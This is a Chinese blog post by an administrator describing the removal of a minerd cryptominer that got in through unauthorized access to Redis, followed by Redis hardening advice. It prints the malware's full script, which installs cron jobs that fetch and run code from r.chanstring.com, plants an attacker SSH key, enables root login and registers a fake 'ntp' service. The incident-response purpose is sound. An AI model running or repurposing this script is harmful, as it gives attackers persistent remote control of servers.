標籤:挖礦minerd minerd redis漏洞
參考連結:http://www.cnblogs.com/zhouto/p/5680594.html
本次產生挖礦minerd入侵的主要原因是由於redis的漏洞造成;
redis安全:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
在伺服器中執行 top 查詢,發現有minerd進程佔用CPU達到90%多;
ps -aux|grep minerd #直接kill掉該進程,發現十幾秒中又起來的,重複幾次發現kill不掉!!
650) this.width=650;" src="/e/u261/themes/default/images/spacer.gif" style="background:url("/e/u261/lang/zh-cn/images/localimage.png") no-repeat center;border:1px solid #ddd;" alt="spacer.gif" />
重現找原因,在計劃任務“ crontab -l”發現有個網路端的執行指令碼操作;
發現該進程的計劃任務,同時複製該連結,可以下載該指令碼,指令碼內容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk ‘{print $2}‘|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk ‘{print $2}‘|xargs kill -9
執行crontab -r 清除計劃任務,並重啟crond服務; #此時發現還是沒有用,該進程在kill掉,依然自動重啟消耗CPU;繼續尋找原因
開始從指令碼下手:
1、chmod -x minerd #先將該命令的執行許可權去掉,先不要不要刪除,否則還會自動產生;
2、kill 掉minerd的進程;
3、刪除KHK75NEOiq33 和minerd檔案在同一目錄下
4、刪除 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 指令檔;
5、去sshd的主設定檔中將指令碼中追加的內容刪除:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
刪除後,重啟sshd服務;
6、刪除 ~/.ssh/KHK75NEOiq ;
7、後來在/etc/init.d/ 發現可以服務ntp ,該木馬程式註冊了一個“ntp”的服務,而且還是開機啟動,這裡的ntp並非時間伺服器的啟動指令碼;
/etc/init.d/ntp stop #停掉服務,設定不要開機自啟;
chkconfig ntp off #刪除開機自啟;
完成之後刪除ntp 檔案;
8、刪除 minerd檔案
此時在觀察,挖礦minerd已經不再重啟了,CPU使用了恢複正常!
解決minerd並不是最終的目的,主要是要尋找問題根源,我的伺服器問題出在了redis服務了,駭客利用了redis的一個漏洞獲得了伺服器的存取權限,
參見串連:http://blog.jobbole.com/94518/
然後就注入了病毒;
下面是解決辦法和清除工作
1. 修複 redis 的後門,
配置bind選項, 限定可以串連Redis伺服器的IP, 並修改redis的預設連接埠6379.
配置AUTH, 設定密碼, 密碼會以明文方式儲存在redis設定檔中.
配置rename-command CONFIG “RENAME_CONFIG”, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好訊息是Redis作者表示將會開發”real user”,區分普通使用者和admin許可權,普通使用者將會被禁止運行某些命令,如conf
2. 開啟 ~/.ssh/authorized_keys, 有的是known_hosts檔案, 刪除你不認識的帳號
3. 查看你的使用者列表,是不是有你不認識的使用者添加進來。 如果有就刪除掉.
這裡仔細分析這個指令碼就可以解決這個挖礦minerd漏洞,主要在根本上解決,做好redis的安全工作!
本文出自 “11009859” 部落格,請務必保留此出處http://11019859.blog.51cto.com/11009859/1850771
redis後門導致被挖礦minerd解決辦法